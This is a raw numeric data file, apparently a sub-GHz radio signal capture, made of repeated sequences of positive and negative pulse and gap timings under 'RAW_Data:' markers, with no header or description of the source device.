141 -342 135 -334 353 -138 335 -126 97 -368 139 -334 367 -108 337 -130 129 -3694 131 -372 105 -360 103 -382 353 -92 361 -104 337 -124 373 -94 371 -96 123 -368 343 -124 359 -104 335 -124 123 -358 139 -336 125 -356 351 -138 107 -362 105 -370 345 -106 339 -130 131 -346 105 -370 365 -108 337 -128 97 -3748 99 -362 125 -340 127 -372 315 -126 357 -124 337 -128 337 -130 337 -128 125 -344 355 -140 335 -126 347 -94 121 -374 103 -368 125 -352 351 -140 105 -362 105 -370 343 -108 337 -132 131 -346 107 -368 365 -108 337 -128 97 -3722 131 -360 93 -390 103 -356 357 -106 353 -140 333 -124 359 -104 359 -106 141 -364 317 -142 357 -106 335 -124 107 -376 97 -362 125 -358 329 -122 143 -342 135 -332 353 -140 333 -126 95 -368 141 -334 367 -106 339 -128 131 -3718 99 -362 123 -340 129 -372 315 -126 355 -124 337 -128 337 -130 337 -128 125 -344 355 -140 335 -128 347 -94 121 -374 101 -370 125 -352 353 -102 143 -362 105 -368 345 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3724 133 -358 93 -390 103 -356 357 -106 351 -142 331 -124 361 -104 357 -108 141 -362 319 -142 357 -106 335 -122 109 -374 97 -362 125 -360 327 -122 143 -342 135 -332 353 -138 335 -126 97 -368 141 -334 365 -108 337 -130 131 -3690 131 -352 135 -360 105 -370 343 -106 339 -128 357 -92 391 -104 359 -108 105 -398 319 -106 353 -142 333 -124 107 -376 97 -362 123 -360 327 -124 141 -342 137 -332 353 -140 335 -126 -RAW_Data: 95 -368 139 -334 367 -106 339 -130 131 -3716 99 -362 125 -340 127 -374 315 -124 357 -124 337 -128 337 -130 337 -128 125 -344 355 -140 335 -126 349 -94 121 -374 101 -368 125 -354 349 -140 105 -364 105 -368 345 -106 339 -130 131 -346 105 -370 365 -108 337 -128 97 -3726 131 -358 93 -390 103 -356 357 -106 351 -142 331 -124 359 -104 359 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -342 135 -334 351 -140 335 -126 95 -370 139 -334 367 -108 337 -130 129 -3716 101 -362 123 -360 101 -394 319 -140 357 -106 335 -124 359 -104 359 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -362 123 -360 327 -124 121 -356 139 -334 371 -108 337 -130 131 -346 105 -370 365 -106 339 -128 97 -3724 131 -360 91 -392 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -360 125 -360 327 -122 141 -342 137 -332 353 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3714 101 -364 123 -360 101 -394 319 -142 355 -106 335 -124 359 -104 359 -106 141 -364 319 -140 357 -106 335 -124 107 -376 97 -362 125 -358 329 -122 121 -356 139 -334 371 -106 339 -130 131 -346 105 -370 365 -106 339 -128 97 -3724 131 -358 93 -392 101 -358 357 -104 353 -140 333 -124 359 -104 359 -106 141 -364 319 -140 357 -106 335 -124 107 -376 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3692 133 -358 93 -392 101 -358 355 -106 353 -140 333 -124 359 -104 359 -106 141 -362 319 -142 357 -106 335 -124 107 -376 97 -362 123 -360 327 -124 141 -344 135 -332 353 -138 335 -126 95 -368 141 -334 367 -106 339 -128 131 -3718 97 -348 127 -372 95 -372 347 -124 349 -124 339 -128 337 -128 337 -128 93 -384 349 -104 367 -94 375 -94 121 -374 101 -368 125 -352 351 -140 105 -362 105 -370 343 -108 337 -132 131 -346 105 -370 365 -106 339 -128 97 -3748 99 -362 125 -358 103 -394 319 -140 357 -106 333 -124 361 -104 357 -108 141 -362 319 -142 355 -106 335 -124 109 -374 97 -362 125 -358 329 -122 121 -356 139 -336 371 -106 337 -130 131 -348 105 -368 365 -108 337 -128 97 -3754 99 -360 93 -392 101 -358 357 -106 351 -142 331 -124 361 -104 357 -108 141 -362 319 -142 357 -106 335 -122 109 -374 97 -362 125 -360 327 -122 143 -342 135 -332 353 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3690 133 -360 -RAW_Data: 93 -390 101 -358 357 -106 351 -140 333 -124 359 -106 357 -108 141 -362 319 -140 357 -108 333 -124 109 -374 99 -360 125 -360 327 -122 143 -342 135 -334 351 -140 335 -128 95 -368 139 -334 367 -108 337 -130 131 -3722 97 -352 135 -360 105 -370 343 -108 337 -132 355 -94 391 -104 359 -106 107 -396 321 -106 353 -140 333 -124 107 -376 97 -362 123 -360 327 -124 121 -356 139 -336 369 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3754 99 -360 93 -390 103 -394 319 -106 353 -140 333 -124 359 -104 359 -106 141 -364 317 -142 357 -106 335 -124 107 -376 97 -362 123 -360 329 -122 141 -344 135 -334 351 -140 335 -126 95 -370 139 -334 367 -108 337 -130 97 -3748 99 -378 103 -360 105 -372 347 -106 373 -100 359 -94 367 -130 337 -128 93 -368 367 -106 339 -128 357 -92 121 -376 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 133 -348 105 -370 363 -108 337 -128 97 -3754 99 -360 93 -390 103 -358 355 -106 353 -140 333 -124 359 -106 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -344 135 -332 353 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3722 99 -360 93 -392 101 -394 319 -106 353 -142 333 -124 359 -104 359 -106 141 -362 319 -142 357 -106 335 -124 107 -376 97 -362 123 -360 327 -124 141 -342 135 -334 353 -138 335 -128 95 -368 141 -334 367 -106 337 -130 131 -3722 99 -382 103 -360 105 -370 343 -108 339 -130 357 -92 391 -104 357 -108 105 -398 321 -106 353 -142 333 -122 109 -376 97 -362 123 -360 327 -122 123 -354 139 -336 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3726 131 -358 93 -392 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -124 109 -374 97 -362 125 -358 329 -122 141 -342 135 -334 353 -140 333 -128 95 -370 139 -334 367 -106 339 -128 131 -3720 99 -382 103 -360 105 -368 347 -106 339 -132 357 -92 369 -128 337 -130 93 -368 367 -108 337 -130 355 -94 121 -374 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 133 -346 105 -370 365 -106 339 -128 97 -3724 131 -360 91 -392 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 359 -106 335 -122 109 -374 97 -362 125 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -368 141 -334 367 -108 337 -130 129 -3722 97 -384 101 -360 105 -370 345 -106 341 -130 357 -92 369 -128 -RAW_Data: 339 -128 93 -368 367 -108 337 -130 355 -94 121 -374 137 -334 125 -354 353 -140 105 -362 105 -370 343 -106 339 -130 133 -346 105 -368 365 -108 337 -128 97 -3756 99 -360 93 -390 101 -358 357 -106 351 -142 333 -124 359 -104 359 -106 141 -362 319 -142 357 -106 335 -124 107 -376 97 -362 123 -360 327 -124 141 -342 135 -334 353 -138 335 -128 95 -368 141 -334 367 -106 337 -130 131 -3718 99 -382 103 -360 103 -370 347 -106 371 -100 359 -92 391 -104 359 -106 107 -398 319 -106 353 -142 331 -124 109 -376 97 -362 123 -360 327 -122 123 -356 139 -336 369 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3750 99 -362 93 -370 129 -340 347 -124 357 -124 337 -128 337 -130 337 -128 125 -344 355 -140 335 -126 349 -94 121 -374 101 -368 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 133 -348 105 -370 363 -108 337 -128 97 -3754 97 -362 93 -390 101 -394 321 -106 353 -140 333 -124 359 -106 357 -108 141 -362 319 -140 357 -108 333 -124 109 -374 99 -360 125 -360 327 -122 143 -342 135 -332 353 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3718 99 -362 123 -360 103 -392 319 -142 355 -108 333 -124 361 -104 357 -108 141 -362 319 -142 357 -106 333 -124 109 -374 97 -362 125 -358 329 -122 121 -358 139 -334 371 -106 339 -128 133 -346 105 -370 365 -106 337 -130 97 -3724 133 -358 93 -392 101 -356 357 -106 351 -142 333 -122 361 -104 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 125 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3718 99 -380 103 -360 103 -372 347 -106 373 -98 359 -94 391 -104 359 -106 105 -398 321 -106 353 -140 333 -124 109 -374 97 -362 125 -360 327 -122 123 -356 139 -334 371 -106 339 -130 131 -346 105 -370 365 -106 339 -128 97 -3752 99 -382 103 -360 103 -370 347 -106 339 -130 359 -92 391 -104 359 -106 105 -398 319 -142 319 -140 335 -124 109 -374 97 -362 123 -360 327 -124 121 -356 139 -334 371 -106 339 -130 131 -346 105 -370 365 -106 339 -128 97 -3754 99 -360 93 -390 103 -394 319 -140 319 -142 331 -124 361 -104 357 -108 141 -364 317 -142 357 -106 335 -124 109 -374 97 -362 125 -358 327 -122 143 -342 135 -334 353 -140 333 -128 95 -368 141 -334 367 -106 339 -128 131 -3694 131 -358 93 -392 101 -358 357 -104 353 -140 333 -124 361 -104 357 -108 141 -362 319 -140 359 -106 335 -122 109 -376 -RAW_Data: 97 -362 123 -360 327 -122 143 -342 135 -334 353 -138 335 -128 95 -368 141 -334 365 -108 337 -130 131 -3720 99 -360 93 -392 101 -394 319 -140 319 -142 333 -124 359 -104 359 -108 141 -362 319 -142 357 -106 333 -124 109 -374 99 -360 125 -360 327 -122 143 -342 135 -334 351 -140 335 -126 97 -370 139 -334 367 -106 339 -128 99 -3750 99 -362 93 -372 127 -374 315 -124 357 -124 337 -128 337 -130 337 -128 125 -344 355 -140 335 -126 349 -94 121 -374 101 -368 125 -354 349 -140 105 -364 103 -370 345 -106 339 -130 131 -348 105 -370 365 -106 339 -128 97 -3744 99 -358 137 -360 103 -380 319 -142 341 -102 361 -124 361 -104 357 -108 105 -398 319 -142 319 -142 333 -124 107 -376 97 -362 125 -358 327 -122 143 -342 137 -334 351 -140 335 -126 95 -370 139 -336 365 -108 337 -130 129 -3720 97 -382 103 -360 103 -372 345 -106 373 -100 359 -92 391 -104 359 -106 107 -398 319 -140 319 -142 331 -124 109 -376 97 -362 123 -360 327 -122 123 -356 139 -336 371 -106 337 -130 133 -346 105 -368 365 -108 337 -128 97 -3754 97 -384 103 -360 103 -370 345 -106 339 -132 357 -124 359 -104 359 -106 107 -396 321 -140 319 -142 333 -124 109 -374 97 -362 123 -360 327 -124 141 -344 135 -332 353 -140 335 -126 95 -368 139 -336 367 -106 337 -130 131 -3722 99 -360 93 -392 101 -394 319 -140 319 -142 333 -122 361 -104 359 -106 143 -362 317 -142 357 -108 333 -124 109 -374 97 -362 125 -360 327 -122 143 -342 135 -332 353 -140 335 -126 95 -370 139 -334 367 -106 339 -128 99 -3754 97 -384 101 -360 105 -370 345 -106 339 -130 359 -124 337 -128 339 -128 93 -368 367 -106 339 -130 357 -92 121 -376 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 133 -346 105 -368 365 -108 337 -128 97 -3726 131 -358 93 -392 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -344 345 -94 391 -104 357 -108 105 -348 125 -364 139 -334 367 -92 123 -370 97 -372 347 -124 349 -126 109 -374 97 -360 351 -140 333 -94 125 -3742 99 -380 103 -360 105 -370 349 -106 371 -100 359 -92 391 -104 359 -108 105 -398 319 -106 355 -140 333 -124 109 -374 97 -362 125 -360 325 -124 121 -356 139 -336 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3754 99 -360 93 -392 101 -394 319 -140 319 -142 333 -122 361 -104 359 -106 141 -362 319 -140 359 -106 335 -124 107 -376 97 -362 123 -360 327 -124 141 -342 135 -334 353 -140 -RAW_Data: 335 -126 95 -368 141 -334 365 -108 337 -130 131 -3716 99 -362 125 -358 103 -392 319 -142 357 -106 335 -124 359 -104 359 -106 141 -364 317 -142 357 -106 335 -124 107 -376 97 -362 125 -358 329 -122 121 -356 139 -336 371 -106 339 -128 133 -346 105 -370 365 -106 337 -130 97 -3750 99 -362 93 -370 129 -340 345 -126 357 -124 337 -126 339 -128 337 -128 127 -344 355 -140 335 -126 349 -94 121 -372 103 -368 125 -352 353 -140 105 -362 105 -370 343 -106 339 -130 133 -346 105 -370 365 -106 337 -128 97 -3726 131 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -362 125 -360 327 -122 143 -342 135 -332 353 -140 335 -126 95 -368 141 -334 367 -106 337 -130 131 -3718 99 -380 103 -360 103 -370 349 -106 371 -100 359 -94 389 -106 357 -108 105 -398 321 -104 353 -142 333 -124 107 -376 97 -362 123 -360 327 -122 123 -356 139 -336 371 -106 337 -130 131 -348 105 -370 363 -108 337 -128 97 -3754 97 -384 101 -360 105 -370 345 -106 339 -132 355 -94 369 -128 337 -128 95 -366 369 -106 337 -130 357 -92 121 -376 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 133 -346 107 -368 365 -108 337 -128 97 -3726 131 -358 93 -392 101 -358 355 -106 353 -140 333 -124 359 -104 359 -106 141 -362 321 -140 357 -106 335 -124 107 -376 97 -360 125 -358 329 -122 141 -342 137 -332 353 -140 335 -126 95 -370 141 -334 365 -108 337 -130 131 -3718 99 -380 103 -360 105 -370 347 -106 371 -100 357 -94 391 -104 357 -108 105 -398 321 -106 353 -140 333 -124 109 -374 97 -362 125 -360 327 -122 123 -356 139 -334 371 -106 339 -130 131 -346 105 -370 365 -106 339 -128 97 -3750 99 -362 123 -340 129 -370 315 -126 357 -124 337 -128 337 -130 337 -128 125 -346 355 -140 333 -126 349 -94 121 -372 103 -368 125 -354 351 -138 107 -362 105 -368 345 -106 339 -130 133 -346 105 -370 365 -106 337 -130 95 -3726 133 -358 93 -392 101 -356 357 -106 351 -142 333 -122 361 -104 359 -106 141 -346 345 -92 391 -106 357 -108 105 -348 125 -360 125 -342 379 -94 125 -352 127 -340 347 -124 357 -124 89 -378 139 -334 369 -92 347 -134 141 -3712 103 -368 91 -380 93 -372 349 -130 329 -124 337 -128 337 -128 339 -128 125 -372 327 -140 335 -128 351 -94 121 -374 103 -368 125 -354 349 -140 105 -364 105 -368 345 -106 339 -130 131 -346 105 -370 365 -108 337 -128 97 -3752 -RAW_Data: 99 -362 93 -390 101 -394 319 -142 319 -140 333 -124 359 -106 357 -108 141 -362 319 -142 357 -106 333 -124 109 -374 99 -360 125 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -370 139 -334 367 -106 337 -130 131 -3692 133 -358 93 -390 103 -356 357 -106 353 -140 333 -124 359 -104 359 -108 141 -362 317 -142 357 -106 335 -122 109 -376 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -368 141 -334 367 -106 339 -128 99 -3752 99 -382 103 -360 103 -370 347 -108 339 -132 355 -94 389 -104 359 -106 105 -398 319 -142 317 -140 333 -124 109 -374 99 -360 125 -360 327 -122 141 -344 135 -332 353 -140 335 -126 95 -370 139 -334 367 -106 339 -128 99 -3754 97 -362 91 -392 101 -358 357 -140 319 -142 333 -124 359 -104 359 -106 105 -398 319 -140 357 -106 335 -124 107 -376 97 -362 125 -360 325 -124 141 -342 135 -332 353 -140 333 -128 95 -368 141 -332 367 -108 337 -128 99 -3748 99 -362 125 -338 127 -372 347 -96 359 -124 337 -128 337 -128 339 -126 127 -344 355 -140 333 -126 349 -92 123 -374 137 -332 125 -354 349 -140 105 -364 103 -370 345 -106 339 -130 131 -346 105 -370 365 -108 337 -128 97 -3724 131 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 355 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -344 135 -332 351 -140 333 -128 95 -368 141 -334 367 -106 337 -130 99 -3724 131 -374 103 -362 103 -382 351 -94 359 -104 337 -124 373 -96 369 -96 125 -366 343 -126 357 -104 335 -124 123 -356 141 -334 127 -356 349 -140 105 -364 105 -368 345 -106 339 -130 131 -346 105 -370 365 -108 337 -128 97 -3754 99 -360 93 -390 101 -394 321 -106 353 -140 333 -124 359 -104 359 -106 107 -396 321 -140 355 -106 335 -124 107 -376 97 -360 125 -358 329 -122 141 -342 135 -334 351 -140 335 -126 95 -368 141 -334 365 -108 337 -130 131 -3692 131 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -106 357 -108 105 -398 319 -142 319 -140 333 -124 109 -374 99 -360 125 -360 327 -122 143 -342 135 -332 353 -138 335 -126 95 -368 141 -334 365 -108 337 -130 97 -3752 99 -382 103 -360 103 -370 347 -106 339 -130 357 -94 369 -128 337 -128 93 -368 367 -108 337 -130 355 -94 121 -374 101 -368 125 -354 351 -682016 163 -358 139 -358 107 -338 351 -140 337 -96 379 -94 369 -96 371 -96 125 -370 329 -140 337 -128 351 -94 121 -372 101 -368 125 -354 -RAW_Data: 349 -104 141 -364 103 -338 373 -106 339 -128 99 -382 93 -380 353 -106 349 -138 105 -3706 131 -360 101 -358 107 -370 363 -106 337 -128 351 -94 369 -98 369 -96 127 -368 363 -108 337 -128 353 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 375 -106 337 -130 131 -348 93 -380 353 -106 349 -140 105 -3702 131 -356 103 -394 105 -336 367 -108 337 -130 351 -94 369 -128 339 -128 93 -368 365 -108 339 -128 355 -94 121 -372 103 -368 125 -352 351 -138 107 -362 105 -368 343 -106 339 -130 131 -346 105 -368 365 -108 335 -130 97 -3726 131 -370 103 -360 103 -380 359 -106 343 -100 361 -94 367 -130 337 -128 93 -368 365 -94 345 -136 333 -124 143 -342 99 -368 123 -372 319 -134 139 -344 95 -366 343 -126 337 -128 127 -344 125 -374 319 -134 333 -124 123 -3724 99 -384 95 -370 97 -372 347 -124 349 -126 337 -128 339 -128 337 -126 95 -384 349 -102 337 -124 375 -94 121 -374 101 -368 125 -352 351 -102 143 -362 105 -336 377 -106 339 -130 129 -350 93 -380 353 -106 349 -140 103 -3700 131 -350 137 -360 105 -338 375 -106 339 -130 353 -94 369 -128 339 -128 93 -368 365 -108 337 -130 353 -94 121 -374 101 -368 125 -354 351 -138 107 -362 105 -368 345 -106 337 -130 131 -348 105 -370 363 -108 337 -128 97 -3720 133 -358 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -106 107 -398 319 -140 319 -142 331 -124 109 -376 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -368 139 -334 367 -106 337 -130 131 -3718 99 -384 101 -360 105 -368 345 -106 339 -130 357 -92 391 -104 359 -108 105 -398 319 -106 353 -140 333 -124 109 -374 97 -360 125 -360 327 -122 121 -356 139 -334 371 -106 337 -130 131 -348 93 -380 353 -106 351 -140 103 -3706 133 -356 101 -396 105 -334 369 -106 337 -130 353 -94 369 -128 337 -128 95 -366 367 -106 339 -128 355 -92 121 -374 139 -332 125 -354 351 -138 107 -362 105 -370 343 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3720 131 -360 93 -390 103 -356 357 -106 351 -140 333 -124 359 -104 359 -106 141 -364 319 -140 357 -106 335 -122 109 -374 97 -360 125 -360 327 -122 143 -342 135 -332 353 -138 335 -126 95 -368 141 -334 365 -108 337 -130 97 -3722 131 -360 93 -392 101 -358 357 -104 353 -140 331 -124 361 -104 357 -108 105 -398 319 -142 319 -142 333 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -368 -RAW_Data: 141 -334 367 -106 337 -130 97 -3754 97 -350 137 -360 103 -368 345 -106 339 -130 357 -92 369 -128 339 -128 93 -368 367 -108 337 -130 355 -92 121 -374 137 -334 125 -354 349 -140 105 -364 105 -368 345 -106 337 -130 131 -348 105 -370 365 -106 337 -130 95 -3750 99 -362 93 -390 101 -358 357 -106 351 -140 333 -124 359 -106 357 -108 141 -362 319 -142 355 -106 335 -124 107 -376 97 -360 125 -358 329 -122 121 -356 137 -336 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3752 99 -360 93 -392 101 -358 355 -106 353 -140 331 -124 359 -106 357 -108 105 -398 319 -142 355 -106 335 -124 107 -374 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -370 139 -334 367 -108 337 -130 97 -3750 99 -362 93 -390 103 -358 357 -104 353 -140 333 -124 359 -104 359 -106 141 -364 319 -140 357 -106 333 -124 109 -374 97 -362 123 -360 327 -122 123 -356 137 -336 371 -106 337 -130 131 -348 93 -380 353 -106 351 -140 103 -3732 97 -384 103 -360 103 -372 343 -108 337 -132 355 -94 369 -128 337 -130 93 -368 365 -108 337 -130 355 -92 121 -374 139 -332 125 -354 351 -140 105 -362 105 -370 343 -106 339 -130 131 -346 105 -370 365 -106 339 -128 97 -3722 131 -360 93 -390 101 -358 357 -106 351 -140 333 -122 361 -104 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -360 125 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -368 139 -334 369 -106 337 -130 131 -3722 97 -352 137 -360 105 -336 377 -106 339 -128 355 -94 369 -128 337 -128 95 -366 367 -108 337 -130 355 -92 121 -374 137 -334 125 -356 349 -140 105 -362 105 -370 343 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3724 131 -358 93 -392 101 -356 357 -106 351 -142 331 -124 359 -106 357 -108 105 -398 319 -142 355 -106 333 -124 109 -374 97 -362 123 -360 327 -124 141 -344 135 -332 353 -138 335 -126 95 -368 139 -334 367 -108 337 -130 97 -3726 131 -358 93 -392 101 -358 355 -106 353 -140 331 -124 359 -106 357 -108 105 -398 319 -142 355 -106 333 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -370 139 -334 367 -106 339 -128 131 -3690 133 -350 137 -360 105 -338 373 -108 337 -130 355 -94 391 -104 357 -108 105 -362 355 -106 353 -140 333 -124 109 -374 97 -362 123 -360 327 -124 141 -342 135 -334 351 -140 333 -128 95 -370 139 -334 367 -106 339 -128 131 -3690 133 -358 93 -392 -RAW_Data: 101 -358 355 -106 353 -140 333 -124 359 -104 359 -106 141 -362 321 -140 355 -106 335 -124 107 -376 97 -360 125 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -370 139 -334 367 -106 339 -128 131 -3718 99 -382 103 -360 103 -370 347 -106 337 -132 359 -92 391 -104 357 -108 105 -398 321 -106 353 -140 333 -124 109 -374 97 -362 123 -360 327 -124 121 -356 139 -334 371 -106 339 -130 131 -346 105 -370 363 -108 337 -128 97 -3750 99 -362 93 -370 129 -340 347 -126 355 -124 337 -128 337 -128 337 -128 127 -346 353 -140 335 -124 347 -94 121 -374 101 -370 125 -352 351 -138 107 -362 105 -370 343 -106 339 -128 133 -346 107 -368 365 -108 337 -128 97 -3720 131 -360 93 -390 103 -356 357 -106 353 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -122 109 -374 97 -362 123 -360 327 -124 141 -342 137 -332 353 -138 335 -126 95 -370 139 -334 367 -106 337 -130 131 -3716 99 -362 125 -360 101 -394 319 -142 317 -142 335 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -122 109 -374 97 -362 123 -360 327 -124 121 -356 139 -334 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3722 131 -360 93 -390 103 -356 357 -106 351 -140 333 -124 361 -104 357 -108 141 -362 319 -142 357 -106 333 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -370 139 -334 367 -106 337 -130 131 -3716 99 -362 125 -338 129 -372 315 -126 357 -124 337 -128 337 -130 337 -126 127 -346 355 -140 333 -126 347 -94 121 -372 103 -368 125 -354 349 -140 105 -362 105 -370 343 -108 337 -130 131 -348 105 -370 363 -108 337 -128 97 -3724 133 -358 93 -390 101 -358 357 -106 351 -140 333 -122 361 -104 359 -106 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -342 135 -332 353 -140 335 -126 95 -370 139 -334 367 -106 339 -128 99 -3724 133 -358 93 -390 103 -356 357 -106 351 -142 331 -124 361 -104 357 -108 105 -398 319 -142 355 -106 335 -122 109 -374 97 -362 125 -358 327 -124 141 -342 135 -334 351 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3718 97 -382 103 -360 105 -370 347 -106 371 -98 359 -92 369 -128 339 -128 93 -368 367 -106 339 -128 357 -92 121 -376 137 -334 125 -354 351 -138 107 -362 105 -368 345 -106 339 -130 131 -346 107 -368 365 -108 337 -128 97 -3726 131 -358 93 -392 101 -356 357 -106 351 -140 331 -124 359 -104 359 -108 -RAW_Data: 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -344 135 -332 351 -140 333 -128 95 -370 139 -334 367 -106 339 -128 131 -3718 99 -382 101 -360 105 -370 345 -108 371 -98 359 -92 391 -104 359 -106 107 -396 321 -106 353 -140 333 -124 109 -374 99 -360 125 -360 325 -124 121 -358 137 -336 369 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3726 131 -358 93 -390 103 -356 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -122 109 -374 97 -362 123 -360 327 -124 141 -342 135 -334 353 -138 335 -126 95 -370 139 -334 367 -106 337 -130 131 -3718 99 -362 93 -370 129 -340 347 -124 357 -124 337 -128 337 -128 339 -128 125 -346 355 -138 335 -126 347 -94 121 -374 101 -368 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 133 -346 105 -370 363 -108 337 -128 97 -3722 133 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -124 107 -376 97 -360 125 -360 327 -122 143 -342 135 -332 351 -140 335 -126 95 -370 141 -334 365 -108 337 -130 131 -3718 99 -362 93 -390 103 -392 321 -104 355 -140 333 -124 361 -104 357 -108 141 -362 319 -142 357 -106 335 -122 109 -374 97 -362 125 -358 329 -122 141 -342 135 -334 351 -140 335 -126 95 -370 141 -334 365 -108 337 -130 131 -3692 131 -358 93 -392 101 -358 355 -106 353 -140 333 -124 359 -104 359 -106 141 -362 321 -140 355 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -344 135 -332 353 -138 335 -128 95 -368 139 -334 367 -108 337 -130 129 -3718 99 -362 123 -340 129 -372 313 -126 357 -124 337 -128 337 -130 337 -128 125 -344 355 -140 335 -126 349 -94 121 -374 101 -368 125 -354 349 -140 105 -364 105 -368 345 -106 339 -130 131 -346 105 -370 365 -108 337 -128 97 -3750 99 -362 91 -372 129 -340 347 -124 357 -124 337 -126 339 -128 337 -128 127 -344 357 -138 335 -126 347 -94 121 -372 103 -368 125 -352 351 -140 105 -362 105 -370 343 -106 339 -132 131 -346 105 -370 365 -106 337 -130 97 -3754 99 -360 93 -390 103 -356 357 -106 351 -140 333 -124 361 -104 357 -108 141 -362 319 -142 357 -106 333 -124 109 -374 97 -362 125 -358 329 -122 141 -342 135 -334 351 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3694 131 -358 93 -390 103 -356 357 -106 351 -140 333 -124 361 -104 357 -108 141 -362 319 -142 357 -106 333 -124 109 -374 97 -362 -RAW_Data: 125 -358 329 -122 141 -342 135 -334 351 -140 335 -128 95 -368 139 -334 367 -106 339 -128 131 -3692 133 -350 137 -360 105 -336 375 -108 337 -130 355 -94 391 -104 357 -108 105 -362 357 -106 351 -142 333 -124 107 -374 99 -360 125 -360 327 -122 123 -356 139 -334 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3754 99 -360 93 -392 101 -358 357 -106 351 -140 333 -124 359 -106 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -368 141 -334 367 -106 339 -128 131 -3694 133 -358 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -106 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 125 -360 327 -122 143 -342 135 -332 351 -140 333 -126 97 -370 141 -334 365 -108 337 -130 131 -3722 99 -360 93 -390 103 -358 355 -106 353 -140 333 -124 359 -104 359 -106 141 -362 321 -140 357 -106 335 -124 107 -376 97 -362 123 -360 327 -122 143 -342 135 -332 351 -140 335 -126 97 -370 139 -334 367 -106 339 -128 131 -3690 133 -350 137 -360 105 -336 377 -106 337 -130 357 -92 391 -104 357 -108 105 -398 319 -106 353 -142 333 -122 109 -376 97 -362 123 -360 327 -122 123 -356 139 -334 371 -106 339 -130 131 -346 105 -370 365 -106 339 -128 97 -3726 131 -358 93 -390 101 -358 357 -106 351 -140 333 -124 359 -106 357 -108 141 -362 319 -142 355 -106 335 -124 107 -376 97 -362 123 -360 327 -122 143 -342 135 -332 353 -140 333 -128 95 -370 139 -334 367 -106 339 -128 131 -3722 99 -360 93 -392 101 -358 355 -106 353 -140 333 -124 359 -106 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 123 -360 329 -122 141 -344 135 -334 351 -140 333 -126 95 -370 141 -334 365 -108 337 -130 131 -3720 97 -362 125 -338 129 -340 347 -126 355 -124 337 -128 337 -130 337 -128 125 -344 355 -140 335 -126 347 -94 121 -374 137 -334 125 -352 351 -140 105 -362 105 -370 343 -106 339 -132 131 -346 107 -368 365 -108 337 -128 97 -3722 131 -360 93 -390 103 -356 357 -106 353 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -124 109 -374 97 -362 123 -360 327 -124 141 -344 133 -334 351 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3722 97 -362 93 -390 103 -394 319 -106 353 -142 333 -122 361 